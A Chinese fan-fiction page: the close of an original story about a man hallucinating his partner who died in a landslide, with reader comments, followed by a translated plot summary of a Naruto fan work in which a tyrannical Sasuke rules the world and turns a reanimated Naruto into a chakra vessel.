“人家吃药都是饭后半小时才见效,我这都多久了。”我呛他:“我们都分手了,你在这做给谁看。”
“什么做给谁看。”周翔的声音从我身后传来,“我们什么时候分手了?晏明修,你疼傻了?”
他说着就要去探我的额头,周翔的手很冷,屋里的暖气片确实该换了,他站了这么久居然都不见暖和。
“我上个月提的,你不记得了?”我不可置信地盯着周翔,“周翔,你别装,你答应了的。”
周翔托着我的下巴,他的瞳色偏浅,在灯光下显得毫无生气。“我们只是吵架了啊,你不让我去演汪雨冬那场戏,但我还是去了,你就生气了。”
他翻开我的手腕,那儿有深浅不一的疤痕。“喏,这还是我当时挠的,你想绑住我,但你打不过我,哈哈。”
“你说谎!”
我抽回手,捂住那几条没用的证明。
“你说谎!你明明是进山里了,然后我就和你打电话说分手,然后……然后……”我气喘吁吁,像头老牛。
“然后?”他无辜地望着我。
“然后……”我嘴唇打颤,半天吐不出一个字。
“我替你说吧。”周翔温和地笑了笑,声音却不如面上那般柔和,近乎是尖利的——“然后,然后我掉下山崖,啪!死了!连尸体都找不到!被豺狼虎豹吃了也说不定!晏明修啊晏明修,你就这么迫切想和我撇清关系,连这点担当都没有吗?”
他说着说着,五官开始分崩离析,像洪水猛兽要吞噬了我。我没有诺亚方舟,却也不惧与他对视。
因为我突然就清醒地知道,他不是我的周翔。
他越是恐怖,我就越是冷静。面无表情看他作威作福。开玩笑,周翔怎么会死,他晚上还给我做过饭!再不济,他进山了,我说着要和他分手,却还不是偷偷过去找他,跟着制作组一路直到拍摄结束把人送回家。我不过是和他说了句分手——而且我也不想分手,我就是想让两个人都独处一阵。
“说完了么?”我问他。“说完了就滚吧。”
我把握在手里的温水一饮而尽,水杯重重砸在茶几上。
他表情凝固,“……你让我走?晏明修,这是我家!”
我站起身,抡着拳头就招呼到他身上。
他打人可真疼,也可能是胃疼消耗了我过多的体力。但我还是把人赶走了,准确地说,是终于从深渊地狱的梦境中逃脱出来了。
醒来的时候我已经在车上,我哥在前头开车。
他从后视镜观察到我,“醒了?”
我瞄了他一眼,没做声。
“醒了就整理下自
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己,免得医生看到你直接给你送进去。”
“要去哪里?”
“……去见你男朋友。“晏明绪凉飕飕开口。
“前男友。”我好心指正他,手却不自觉捋了捋打结的头发,甚至还想问我哥车里有没有一次性刮胡工具。
当然没有。
“你还知道是前男友。”晏明绪把我拉下车前好心整了整我的衣领,“你这丧夫样说只是前男友我都不信。”
我还是觉得自己很正常,但晏明绪就是这样的人,我也懒得搭理他,任由他在前面带路。
晏明绪让我等他一会,我站在原地四处张望,未曾想就看到周翔。
他也看到了我,边打招呼就边跑过来。
“你来做什么?”我问他。
“哎。”周翔扬了扬手里的药,“老周感冒了,我给他带点药。”
“哦。”听见不是他出事,我便放下心来。“聚星离这挺远,我送你回去。”
周翔略一思考,见我坚持,还是犹犹豫豫地答应了。
我拉着他的手就想往外走,晏明绪这只拦路虎却在后面叫住我。
我指了指周翔,“人我也见到了,我不能走?”
就在我和我哥推搡之间,周翔却像游鱼混进湖海,只能依稀在人群中辨出一抹绿色。我甩开晏明修抓着我手腕的手,“这下好了,周翔都走了!”
他准备过马路了,若是赶不上这一个红绿灯我便永远追不上他。晏明绪仍死死扣住我,我便朝他嘶吼:“你放开我,我去找周翔!我快看不到他了!”
晏明绪咬牙切齿,他抬起另一只手像是要打我。“晏明修!你神经病!”
“他确实走了!没了!死了!你明白吗!”
我顾及着周翔,又得躲闪我哥。整个人做出无比滑稽的动作。
晏明绪的拳头没有砸在我脸上,但他的话却一字不落,直直灌进我的耳朵。
“什么……意思?”
“我、我不明白。”我听见自己说。
晏明绪把那张我几乎能背下来的报道的影印件甩在我面前。
我不想明白,但所有的一切都确实击碎了我的幻想,将我扯进现实,另一个噩梦。不,不是另一个,从始至终也就只有一个罢了。
绿灯亮了,周翔像似感应,视线对上狼狈不堪的我,他在说话——我看到他的嘴型了。
再见。
事情突然就变得荒唐,一切都发生的这样快。电光火石,不足百日的胎儿被开膛破肚地取出,徒留一地血淋淋的死亡。
【本月13日,黔桂交界发生山体滑坡,死亡人数……】
-
我用晏明绪买的冰水遮住泛红发热的眼睛,眼泪却从两旁溢出,混着瓶身冒出的水珠落在我的手心。
我哥在外面抽完一整支的烟,带着一身的尼古丁味和寒气钻回车里。他问我:“你清醒了吗?”
“他没死。”
“我问你清醒了吗。”
“他还活着。”
“你回答我……算了。”晏明绪发动车子,“今天也别看了,我带你去见我师父。”
-
佛曰不可说,因此我即便是写也不敢透露一星半点。只能攥紧了它熬过又一个日夜。
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我可以等,总会有这么一天。
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我拨通了那个电话。
“是我。”
“之前讲过的广告,我接了。”
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我是偶尔才翻到了这个卷边磨毛的笔记本,按理说它不应该在这。
也许是我在储物间待了太久,翔哥抱着那个装了一半的台灯就站在门口。“怎么了?没找到六角螺丝吗?”
我把这个本子匆忙往抽屉一推。”应该有,我再找找。“
“等等,你藏了什么?”
我故意把塑料盒里的螺丝扰得叮铃哐啷的响,假装没听到他的问题。
“晏明修,你总这样干。”周翔轻推了我一把,走到我身边。伸手往抽屉摸去。
“什么都没有啊?”
“嗯……确实,什么都没有。”我该庆幸这本日记和周翔之前的学习笔记混在一起,导致他分辨不出究竟有什么不同。
周翔眯着眼看了一会儿,准确无误从那堆杂物中拎出那本墨绿的薄本。“是这个吧。”
“写了什么?”他作势去翻。
“别。”我拦住他,“不是什么好东西。”
”那我可更好奇了。“
“少年心事罢了。”
“好吧,我尊重你。”周翔把本子放回原处。“等你愿意给我看,我再看,你别骗我。”
我心里咯噔一下,又怕他生气,又怕他看见。一时间权衡不来,只能站在原地,干巴巴地回应:”没有……翔哥,你别生气,你想看就看吧。“
周翔笑着叹了口气,摸了摸我的脑袋。“没事的,你说不是好东西,那我们就不看,让它过去吧。”
也许谁都已经意识到那本子里到底写了些什么,或者它并不是第一次重见天日。
我不是受害者,甚至是惶然等待铡刀落下的罪人。
如今,它消失了。
热门评论
丹若胜火(pain au chocolat版):
在破碎的梦魇里挣扎/在期冀的幻想里对自己说着谎话/尘灰在阳光中落下/空荡荡的房子不算家/冷漠和傲慢可以杀人啊/不配再说爱你这种情话/但能否在赎尽罪过后/再次拥抱你啊(苍天啊我在写什么/捂脸
五日纸坊:
太棒了吧……荒诞中的现实现实中的荒诞只有在幻境中才能装作若无其事地生活晏周真当是玻璃渣之王 太太太厉害了
4. 【佐鸣】掉入火影佐助的世界的七代火影鸣人
海天月夜
From LOFTER
【授权翻译/佐鸣】掉入火影佐助的世界的七代火影鸣人
[翻译/佐鸣]掉入火影佐助的世界的七代火影鸣人
[????]??? ???? ??? ??? 7? ???
小说原作者:???(??,可以读作moyo)[推特:mashromn]
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剧场版中,当七代目火影鸣人参观科学忍具的实验开发时,忍具突然出现暴走,鸣人急忙让科学家们避难并忙着救人,却不小心被卷入了暴走。
差不多就像剧场版情节那样帅气地救人后说着啊哈这是火影的分内之事的说,结果这时身后的忍具突然爆炸,令他卷入时空漩涡进行了一场时间旅行。
鸣人睁开眼后发现明明还是木叶村的那座建筑,还是身处进行忍具实验的那个房间,周围却空无一人。
大家都去哪儿了…嘀咕着走出外面的鸣人感觉所有的一切都很异常。原本热闹的木叶村被死寂笼罩着仿佛陷入了停滞,街上也没有任何行人。
到底发生了什么…环顾四周的鸣人望向了火影岩,发现火影山上雕刻着佐助的脸,而其他火影的雕像全部被抹去了。
(如果是剧场版演出感觉会是那样)
鸣人瞪大双眼不敢置信地望着那副光景,随即剧场版中的路人助力者们出现,对鸣人喊着喂!危险并跑过来时看到陷入崩溃的鸣人后停了下来。
难道…这个世界…!是佐助成为了火影的世界吗!!鸣人大喊。
接着转场,佐助出现,佐助戴着火影帽子,正统率着与砂隐村的战争。
但如果按照原作的话由于我爱罗是影已经死亡(TTTT)所以应该是砂隐村的其他忍者与之对抗并最终投降。
砂隐村代表请求:是我们的败北,但是不要动村里的人…然而佐助身后的跟班们(这些跟班应该也是剧场版原创人物)叫喧着要给他们点颜色看看,不能网开一面!佐助不发一语地冷冷注视片刻后开口:对,处刑。
代表们看着那些大笑的跟班沉痛地僵住了表情。然而佐助接着发话:这个村子全部。
这是对叛乱者的杀鸡儆猴。把村里所有人都杀掉。不止是忍者,还有女人,孩子,老人,全部。把藏起来的人也一一找出来杀了。
代表怒吼:你这个疯子!没必要去处置其他人啊!然而佐助表情不变地答不能留下祸根后转身走掉。
部下们略显无措,随即冷下脸拿起武器凑了过去。砂隐村代表大惊失色。在激烈反抗下进行了最后的抗争时,砂隐村仅有一个孩子趁乱逃脱幸存了下来。
砂隐村的那些人应该通过抗争让那个孩子得以逃跑。
逃亡的那个孩子转身看着身后生灵涂炭的村子流下了血泪。我绝对不会放过你的…火影…!
总之鸣人从木叶的助力者们那里得知了这个村子的真相。现在是距离佐鸣终结之谷决战后的刚好第十五年。无限月读结束前佐助就如他自己所宣言的,将五影们赶尽杀绝并化作完美的恐怖化身统治了这个世界。反抗者全部杀死,制定严格的纪律处罚违反纪律的人,抵抗势力则予以处刑。
诡异地维持至今的和平…然而人们的脸上既没有笑容也没有幸福。每一天都是如履薄冰的状况…助力者们不知眼前的人是鸣人,告诉他过去有过几股势力聚在一起对抗火影,却在全部战败后掩去了踪迹。
据说旧第六代火影的反抗尤为激烈,虽然败北后已经完全失去了踪影…闻言鸣人讶异,卡卡西老师?原来还活着的吗!
鸣人被助力者们藏在木叶村的角落一隅,结果某一日碰见了佐助部下中的底层喽啰(虽然人性垃圾但还是有点能力的骄傲自负的混混)欺负木叶村村民。
那个混混正扯着木叶村商人的领口豪横地威胁你以为我是谁!我可是那位佐助大人的直属部下!知道反抗我会如何吧!昂?!商人悲愤:你太过分了,混混大吼吵死了!你就不该生活在那个垃圾一样的木叶村!并挥了拳头,然而突然有只手伸过来挡住了它,那是鸣人的手。虽然助力者们让我藏好,但是果然无法视而不见啊我…毕竟我是木叶村的火影啊!说着用拳头揍飞了混混。一击飞天的混混,以及震惊的人们。竟然招惹了他…!啊啊…那个怪物会来的…!人们颤栗着纷纷四散。看来没办法了,鸣人无奈地正做着迎击的准备,却突然被什么人拉着手飞快地跑了起来。你是谁?闻言摘下面具的人是木叶丸。
果然是鸣人哥哥!会那么无惧无畏地横冲直撞的也只有哥了,木叶丸说着笑了起来。然而脸上有道巨大的伤疤,人也长大了。鸣人见到木叶丸后无比开心,立即紧紧抱住高喊木叶丸~~!!而后突然反应过来开口问他:你…见到了我也不会惊讶呢?这个世界的我明明应该已经死了…
嗯。木叶丸回答。哥在那一天死了。然而我们并没有放弃。木叶丸是由卡卡西带领的水下抵抗势力中的一员。木叶丸说鸣人死后,在没有影们的情况下没有人能阻挡佐助。
仙人们,□□们,八尾人柱力也……(刚才和混混战斗时鸣人想要召唤□□却召唤不出来)啊啊…所以想要召唤时谁都没有出现吗。鸣人僵住了脸。
所以我们制定了一个计划。你知道吗?小樱姐姐和卡卡西老师都活着。
残存势力把科学之力与查克拉相结合,打算将其他世界的鸣人召唤过来。
其结果就是与鸣人所在世界的科学忍具产生了共鸣,把鸣人召唤到了这个世界。啊啊…大家都在哪儿?!木叶丸,我想见大家!鸣人喊道。大家都很想见鸣人哥。木叶丸带走了鸣人,并在带走鸣人前一并带走了正到处寻找鸣人的助力者们。
另一头,卡卡西老师重新拾起了过去在暗部时期的经历,一直在默默地救人并将之转移。虽然去查探了下砂隐村的情况,但是看着满目疮痍的村子也只能不住摇头,却意外地发现了藏身于某处的孩子。他就是之前逃出去的那个孩子。
佐助留下的部下中最底层的喽啰发现了孩子后打算冲过去杀了他,却被卡卡西反杀,卡卡西护住了那个孩子。报仇…我要报仇!我要杀了那家伙!卡卡西默默地注视着哭泣的砂隐村小孩片刻,揉了揉他的头后把他带了回来。
卡卡西与抵抗势力正藏身于隐藏在砂隐村深处的隐蔽之处。因为一开始佐助残忍屠戮了砂隐村也是因为得到了他们在庇护抵抗势力的报告…然而砂隐村的人们却一句话也没有吐出,所以才以叛乱为由下令处置。虽然残酷,却也万幸没有被发现。秘密基地里留守着极少数砂隐村幸存村民和主要抵抗势力。老师…结果村里的大家都死了啊。我知道。然而无能为力。
可是他们是因为我们而死的。看着发自内心的悲伤的小樱,卡卡西开口,如果不想让他们的死亡白费,只能杀死佐助。小樱哭得伤心。要是上次的那个实验成功了的话…(指召唤其他世界的鸣人)佐助也……被罪恶感笼罩的小樱。而这时木叶丸赶到。
木叶丸!前去视察木叶村归来的木叶丸笑着说带来了客人,并让鸣人跟在身后。呜哇…砂忍村还有这种隐蔽的地方啊…环顾完四周再看前方,发现眼前站着卡卡西与小樱。
久违的再会。卡卡西看起来颇为惊讶,原本目无生气的小樱流着泪大喊鸣人…!并抱住了他。
小樱…呃!鸣人没能享受这久别重逢的时刻多久就被小樱抱着捶了起来。到底去哪里了!!你不在的时候佐助…佐助他……!大家!!小樱痛苦。鸣人不知所措了片刻,随即放下手紧紧抱住了小樱。
小樱止住哭泣镇定下来后重新对鸣人笑着开口:好久不见…真的很想见你。我也是…鸣人笑着回答。卡卡西这才向鸣人打了招呼。哟,好久不见。表面上看起来若无其事的卡卡西。鸣人也对这看起来始终没怎么改变的卡卡西感到了安心。老师,该说好久不见吗…虽然其实最近也有见面…三人开始打开了话匣子。
另一边,佐助回到办公室处理着政务。佐助的直属部下是鹰小队的几个人。香磷,水月,以及重吾。虽然他们是因为佐助是自己的首领而继续追随,却也对他的行事感到了些许厌倦。
他们在报告砂隐村的镇压结果时也向佐助提出了忠告。这种方式不会诞下和平。把所有人都杀掉做得太过了,谁都不会追随你的。然而佐助无所谓。留下后患是很危险的事情,并反问我们不也是为了复仇而产生的组织吗。虽然的确没错,但是一想到他们杀死的人也是与自己相似的存在就有些痛苦。佐助在听完报告后起身离开,剩下的人感叹佐助完全变了。那一日…自决战之日后所有的一切都变了。
佐助走在走廊里,倏地转头看向了走廊外的风景。寂静的黑暗笼罩着夜晚的木叶村。坍塌的悬崖上一览无际的夜空与高高升起的巨大月亮…佐助回忆起了那一日的决战。
最终决战时鸣人终是没能战胜佐助。为什么?明明我们两人的力量在那一瞬间是势均力敌的。到底是什么…为什么…折磨着佐助的,是那一日,让自己胜利的可能并不完全只是自己的力量。是什么偶然么。还是……自那之后,佐助仿佛在向谁证明着从鸣人那里赢来的胜利一般,作为火影施展了自己的意志。
然而到底是什么?这份虚无感……佐助看着窗外。轮回眼的另一边是鲜红的写轮眼。因佐助在持续地憎恨着,因此轮回眼的另一边一直保持着写轮眼的开眼状态。
注视了窗外片刻,佐助重新安静地走过走廊,消失在了黑暗深处。
另一边,鸣人与卡卡西,小樱,木叶丸,砂隐村的孩子以及助力者们正聚在一起聊着天。鸣人描绘着自己所在的世界。我那个世界的大家都好好的,佐助那家伙~~虽然看起来不那样,但其实内里是最认真的那个的说,然而在看到其他人的表情并不怎么好后开始急急救场。
没关系。看来你那个世界的佐助是不错的家伙呢。卡卡西笑着开口。大家的表情都不怎么好。说错话了…鸣人流下了冷汗。分明…也会有那种美好的世界吧…只要我们创造出来就好。小樱与卡卡西承诺。没错没错!鸣人正附和着,却突然想到那么自己该怎么回去。
小樱醉醺醺地开口,你现在没有办法马上回去。把你带来一次需要非常庞大的查克拉。你的实验用光了我们所有人积攒了15年的查克拉。那,那么说…但是有唯一的一个办法。
啊,佐助没有将砂隐村的人赶尽杀绝,而是把一些人拖走作为抽取查克拉的对象(紧急变更设定),当然抽干了查克拉后那些人还是会死。毕竟是剧场版嘛(虽然只是同人梗)。小樱说,佐助会把那些人拖走抽干查克拉聚集给自己,所以如果你能战胜佐助的话就可以用那些查克拉回去了。
那么想要回去的话只能打倒佐助了吗…鸣人喃喃。想起了白天欺负木叶村民的佐助的底层部下们。是啊!我可是火影!拯救人们是理所当然的!
最后小樱和其他人喝醉睡得死沉(因为有很多辛苦的事所以喝了很多),鸣人从秘密基地出来看着风景。那么我认识的所有人都已经死了吗…鸣人情绪低落。卡卡西跟过来与鸣人有一搭没一搭地交谈。卡卡西老师…你还是在叫我老师呢。卡卡西微笑。虽然大家喝了很多热热闹闹的,但现下的状况并不乐观。我知道你和你那个世界的佐助很亲。但是如果你在这里遇见佐助的话,你要杀了他。你能做到吗?
鸣人面沉如水。我知道的。虽然这个世界是我们也许会导向的另一个世界…但还是相差很大的。随意杀死曾经的同伴,果然是忍者失格啊。
可与此同时…我却比任何人都要理解佐助。那家伙虽然憎恨着所有人,憎恨着这个世界…但在这之上他最憎恨的肯定是他自己。虽然我是从其他世界来的…但我的回答始终不变。
能够承受那家伙的憎恨的果然只有我。如果必要的话,我只能担负起那家伙的憎恨…和他一起死!鸣人下了决断。
卡卡西笑了起来。我安心了。为什么?因为鸣人无论何时都是鸣人…鸣人闻言嘿嘿一笑。我也一样的说!老师也和我所在世界的老师一样没多大改变,所以安心了不少呢。那我先去睡了,鸣人笑完走进了基地。在被独自留下的卡卡西身后,一直偷听着对话的木叶丸走了出来。
卡卡西老师。啊啊,你听到了木叶丸。不愧是老师…无论过去还是现在仍然擅长微笑着说谎啊。指什么?卡卡西若无其事地回答。老师打算牺牲鸣人哥哥。
虽然是鸣人哥哥,可毕竟是从其他世界过来的,没有必要为了我们牺牲…但是老师却若无其事地对他说请为我们牺牲。卡卡西沉默了半晌,轻轻开口。我只是变得更加习惯了而已。以及能战胜佐助的人只有鸣人同样也是事实。不是吗,木叶丸。
我不惜牺牲一切。实际上也是这么做的。走马灯般一一闪过的死去之人。看不清卡卡西的表情。木叶丸轻轻地说,鸣人哥不能知道这个事实…其实变化最大的是卡卡西老师。
卡卡西整理了表情后对木叶丸笑了笑,明天开始就要制定计划了,去睡吧。说完掠过木叶丸走了过去。独自留下的木叶丸回想起了白天遇见鸣人的场景。和15年前一样不曾改变的笑容…哥…似是心痛般皱起眉头的木叶丸。
与此同时似乎会存在着第三方势力。他们是安静地龟缩起来的其他忍村的临时代表。雾隐村岩隐村云隐村的代表们偷偷碰头交换了情报,也谈到了被灭村的砂忍村……你看吧,卡卡西的势力最终什么都办不到!砂忍村的那些人庇护他们结果遭遇了什么惨状。我们可不想那么死…要与之对抗!但是被发现了的话?火影最终会把我们所有人都杀了的。反正横竖都是死,背水一战正面对抗才是对的!三个村子约定好发动总攻。
三个村子准备的秘密武器是大蛇丸。大蛇丸在无限月读时逃出生天苟且偷生后一直默默地静待着时机。药师兜虽然死了,不过还带着自己的克隆体巳月。看来能久违地见到那家伙了啊。巳月,你也很期待吧。是,父亲,真的很期待。巳月微微一笑。
大蛇丸是为了报纲手和兜的仇,顺便也暗自盘算着夺走佐助的身体。
另一边,香磷收到了紧急报告。留守在砂隐村的部下被发现时已经变成了尸体。什么?明明已经全部处置了…!果然报告说得没错!那些家伙…怪不得一直拒不开口!!卡卡西的残党肯定藏身在那里!要追过去斩草除根。然而佐助不见身影,只好由三名直属部下中的一人前往。
就让重吾过去好了!而后重吾发现残党冲上前去,却输给了鸣人和卡卡西他们的协攻(抱歉因为太长了就skip好了,总之就是进行了战斗~中间出现成长了的一行人的新忍术)
然而不能再这样坐以待毙了。重吾没有返回的话那边会察觉到这边的动向…因此要先下手为强。一行人向木叶村进发。
而且得知了卡卡西一方开始行动后,联合忍者村的人们也整备了军队开始动身。虽然相看两相厌,但是有共同的敌人时还是联手为好。
水月和香磷同时接到了重吾被制服和两股势力一同进军的报告后大吃一惊。得马上去找佐助!刚说出口,佐助就从身后登场。现在两股势力同时…佐助面色不变,正好。看来无需出动了,双方竟然同时赶来…可以趁这次一网打尽了。另两人劝诫不可能把他们全部打倒。佐助说我有东西给你们看,并让他们跟在了自己身后。他们被佐助带领着走进了木叶村地下。
在那里,两人看到了令人惊愕的东西。这……这是。二人感到了惊慌。佐助说只要有这个我们就不可能输。但这是…你到底隐瞒了些什么?!香磷怒吼。佐助淡淡回答只是做了自己能做的事。
卡卡西和忍者村联合军知道了对方也在进攻的事情。木叶丸不禁担忧。这么多人一起行动的话那边也不会善罢甘休吧…卡卡西说这样反而正中下怀。力量越多越好,如果另一方代替我们牺牲,为我们争取时间挡住他们的视线的话,对我们反而有利。从一开始那边就以为木叶村在疏忽大意。由于是三个忍村的联合,反而会因此傲慢起来。他们不知道木叶村正严加戒备。我们就在另一方冲进去吸引视线时动身。迅速行动直接冲入中心就是这次的目标。
佐助把查克拉汇聚在了木叶村的地下某处。如果破坏了那个分散掉查克拉,就算再怎么是那家伙也不可能再有无限之力。(此前的佐助都是抽取收集的查克拉夸示着近乎无限的力量),此后就是协助鸣人攻打佐助。其他家伙就交给另一方处理了。
但我们越是晚到破坏不就越严重吗?战争可是在木叶村发生的啊…鸣人问。卡卡西回答,啊啊,这是目前所能想到的最好的办法了。这样才能在那边脱力时迅速冲进去直捣黄龙。然而那不是鸣人的方式。
战争终于开始,木叶村里三个忍村的势力和木叶村忍者们开始激战。三忍村的联合攻势加上使用了大蛇丸新技术的攻击虽然强势,可接受了佐助查克拉的木叶村也同样不遑多让。双方势均力敌地你来我往时卡卡西他们正在暗处等待时机。
佐助也在作壁上观,泰然伫立于高处的姿态令三忍村联合更加火大。战争变得漫长。然而受苦的却是无辜的木叶村民。随着战争的延长,村子渐渐被破坏,人们也在混乱中被波及踩踏,原本躲在暗处的鸣人再也无法忍受地冲了出去。
为曾经帮过自己的助力者挡下攻击揍飞敌人后,鸣人大喊。佐助!!!!!!!!!!给我出来!!!!!!!那声音令所有人都震惊地回过了头。所有人都不敢置信眼前的存在。
怀疑自己的眼睛的众人和香磷,水月。是九尾。是鸣人。是那家伙……然而最震惊的莫过于原本作壁上观的佐助。
佐助本在注视着别处,闻声缓缓转过身看向了鸣人所在之处。那里站着鸣人,披着与佐助相同的披风对他怒目而视。
佐助……!鸣人冲向佐助。虽然想说的话很多……非常非常多……但我只说一句!!!鸣人开始疾走。不要擅自……随心所欲地……破坏我的木叶村啊!!!!!!拳头飞过,佐助眼睁睁地任由自己被拳头击中飞向了远处。
因太过震惊而呆若木鸡的群众。被击飞的佐助接连撞倒了几栋建筑后终于停了下来。然而并未受到多大伤害。他安静地躺在那里。只是因过于震惊而不得动弹。
鸣人站在高处开口。我应该说过…!火影是被所有人认可的人…!!连仅仅一人都无法关怀的你,没有当火影的资格!!!就由我,来阻止你!!!高高升起的太阳格外耀眼。
佐助闻言安静地开口。那个声音……是呢……是选择那个方法了吗……竟然从其他世界把你带过来,看来对仅仅依靠自己的力量是全无自信啊。
佐助若无其事地站了起来。脸上只是有了小小的擦伤。久违了,吊车尾的。反而是我想说呢……你总是在妨碍我。
你倒是试试看啊!我绝对会阻止你!!!!鸣人大喊,二人交战在了一起。
卡卡西一行人已哑口无言。现在该怎么办?鸣人先冲出去了啊?看来大家都知道我们来了?卡卡西扶了扶额头,啊啊…因为太久没见差点忘了。鸣人就是那样的家伙呢…没办法,既然被发现了,那我们也加入吧。语毕冲了出去。
一行人加入了战斗。小樱对上香磷,木叶丸与其他部下战斗(大概会是这样吧毕竟是火影忍者),卡卡西本想进入中心部却被水月阻挡。你要去哪里?两人交战。
佐助与鸣人在空中疯狂地交战了数个回合。佐助…你做的那些事情……你知道你到底在做什么吗?!那些重要的人…你全部杀掉了!!雏田,牙,连伊鲁卡老师也…所有人,都被你!!嘶吼着挥出了拳头,使出忍术的鸣人。然而佐助没有一丝的动摇。为什么要杀了他们!!鸣人放出忍术。可对手是辗转全国吸干了查克拉的佐助。
忍术回以忍术,体术回以体术,佐助边应战边答,他们对我的计划而言是不必要的,而且进行了抵抗。真正的和平只会在恐怖与纪律中诞生。我在发生许多事情后领悟到了……只有当唯一的巨大恶存在时,人们起初会抵抗,进而妥协,最终屈服。我贯彻了我的意志。你看。所有人都在万众一心地畏惧着我,所有的村子都凝聚了向心力……过去他们只会展现彼此牵制的丑态……然而你能看到吗?现在的他们比过去的任何时候都要关系紧密。
这就是和平。现在世界比过去任何时候都要和平。我就是字面意义上的影子,支撑起这个世界…这就是我选择的道路。你没有资格对我说三道四。你原来的世界有这么和平吗?
鸣人回答。啊啊,我们分明也会彼此争执偶尔出现摩擦…想起与现任五影的那些大小争执。但是他们都在笑着。大家都在笑着,幸福地…!佐助,你的世界里所有人都没有笑容。那并不是和平!大家只是被恐惧笼罩了而已!让人们变得丰足变得幸福才应该是作为影要做的事!
果然无论过去还是现在你都是这么唠叨呢。佐助回答。然而你的话语就像伸手捕捉浮云般虚无缥缈。所有人都能幸福的世界永远不会到来。平安与和平只是刹那,最终只有痛苦与复仇的枷锁不断反复。这是给人以残酷美梦的虚妄空想。因此倒不如,从一开始一无所有。
根本就说不通啊……我要打败你解放大家!两股力量在空中相撞传出巨大的轰响。结果…只有鸣人受伤严重。比起佐助抽取储存的查克拉使用,鸣人没有储备的查克拉,因此九尾和仙人之力也并非无限。
为什么不能理解啊…!你所前进的道路是错误的!鸣人绝望地呐喊。闻言,佐助冷下了脸,第一次大喊出声。而那样的你,为什么没有在那一天打败我?!鸣人瞬间感到无措。
你在那一日输给了我。这就是那个的结果。我贯彻了我的意志,而你对我也未曾说过只言片语!事到如今你没资格说三道四!佐助抹去了情感的动摇开始猛攻。鸣人束手无策地只能不断闪避。
另一边卡卡西打败了水月。到底是从哪里使出了那种力量。啊啊…我终于明白了,你也是…水月失去了意识。卡卡西安静地起身走进了村子的深处。卡卡西同样也从人们的身上抽取了查克拉储存了起来。虽然只是少量…但还是需要人们的牺牲。抓住敌人后夺去他们的查克拉使他们丧命。
只是卡卡西并没有夺去查克拉的秘术,因此作为代替开发出了可以夺取他人查克拉的某种科学忍具的前身使用。卡卡西步入地下深处救出了被困的人。将被夺走查克拉濒临死亡的人们送出去后,继续走向了最深处。然而紧接着却大惊失色。因为卡卡西抵达的中心部空无一物。
这是…储藏查克拉的地方竟然什么都没有?那么那家伙到底把那么多查克拉存在了哪里…!这时卡卡西突然发现了黑暗的地下有着某种痕迹。那是被封禁的禁术·秽土转生术的痕迹。这是…猛然反应过来某个可怕的事实后急忙转身奔向台阶的卡卡西。不行!鸣人有危险!
竟然还能活蹦乱跳,真了不起。就让我来夺走你的查克拉吧。说完,缓缓走近不住喘气的鸣人正要伸手时,突然有人袭向了佐助。察觉到动静后飞快避开拘束具的佐助。大蛇丸登场。
大蛇丸…!你这家伙……
可惜啊!差一点就能把你抓住了…!到底是怎么发现的。不对,不是发现的吗?看向地面发现有颗石子。是鸣人在那一瞬间察觉到大蛇丸的气息后急忙扔去石子让佐助躲开。九尾的小子…难道并不打算杀死佐助吗?
我知道的…!但是你这家伙的气息…你并非要帮助我们…我可以感觉到你另有算计…!虽然现在的佐助也是无解,但你也有让人感觉不对劲的地方。你到底为何来这里?从刚才起,就算你那边的人死了很多也没见你出手相助过!
大蛇丸伸出长舌笑了起来。啊啊,九尾妖狐…成长了之后连眼力见也变好了呢……真了不起。大蛇丸赶来后只是为了捕捉佐助而觊觎着时机。明明只要获得你的身体我就可以真正支配世界了的…我恨啊,我恨啊。明明就能报纲手和兜的仇了啊!
大蛇丸袭向了佐助,因那余波鸣人也堪堪挣脱了查克拉棒猛攻起了佐助。虽然两人并未合作,但被两人同时对付,哪怕是佐助也多少有些力不从心。
佐助躲开攻击向下坠落时缓缓开口。没办法了。只能呼唤朋友了。
那一瞬,感觉到有凶恶之物向这边飞来。正在落日余晖中攻击佐助的鸣人,因突然冲过来的不明物体而迅速格挡了攻击。勉强挡下攻击的鸣人震惊得无以复加。
冲向自己的,是有着一双漆黑的眼睛,头上嵌着巨大的查克拉抑制棒的,16岁的自己....
佐助。鸣人惊愕地低呼出声,被秽土转生的自己扫向了地面。视野中渐渐远去的佐助的脸虽然因背对着夕阳而看不清,却莫名令人感觉有些悲伤…
佐助的回想。佐助那一日,在最终决战时用尽全力使出了千鸟迎向了鸣人的螺旋丸。两人的力量势均力敌,两股力量相互抵消着造成了巨大的爆炸。
然而在最后的一瞬间,出现了非常细微的刹那间隙。在力量即将冲撞之际,鸣人突然微微改变了手势令攻击些微偏离了轨道。
与之相反,佐助的千鸟轨道明确。它穿过了鸣人的身体进行了破坏……睁开眼时,有的只有正在起身的自己,以及变得冰凉的鸣人。
刹那的欢喜过后,席卷而来的是深深的虚无………………即使胜利了也不会再有任何人祝贺自己。佐助就如他在鸣人生前所说的那样,决心贯彻自己的意志。
首先处刑了五影。之后解除了无限月读,一个个处死向自己反抗的势力,破坏掉既存的体制,建立了崭新的社会。
新的社会无关人性,过往,思想,只有能力才是硬通货,所有人都对自己感到恐惧匍匐在地的世界……那才是自己真正所愿的不是吗?佐助倾注了全力。
然而,随着时间的流逝,佐助被一个疑问所困扰。那一日,最后的那一瞬间,微微改变了手势的鸣人……
他是对自己放水了吗?其实那一日,真正对决时,本会输的也许该是自己?
自己获得胜利,最终也是随了那家伙的意愿……一想到那里,内心某一处就感到发烫。佐助把它归结于愤怒。对鸣人的无尽憎恨……因愤怒而失去理智的佐助决心复活鸣人质问他。准备好祭品后施展了秽土转生。
然而重新醒来的鸣人却不听自己的话。无论自己打算下达什么命令,都会赶在那之前向自己进行攻击,令他无法开口,令他无法利用,到最后就算再怎么唤醒也不吃任何术法。因各种理由而不吃术法才是真正答案,但是佐助却认为那是鸣人在拒绝自己。所以决心以其他方式报复。将鸣人秽土转生后,在头上插/\入查克拉棒,强制令他服从自己的命令。这样鸣人就会像毫无自我意识的傀儡般随自己差遣。佐助将那样的鸣人当作巨大的查克拉储存库使用。把人们的查克拉抽出来存进了鸣人的身体。将他所爱的人们的生命夺走后把查克拉存进鸣人的身体,就是对他的最大侮辱。但是这都是他的错。毕竟,鸣人生前与自己约定过……明明说过会与自己一起死。可他却独自死去,而自己活了下来。他要付出违背约定的代价。
佐助做出了能对鸣人做出的最大报复。
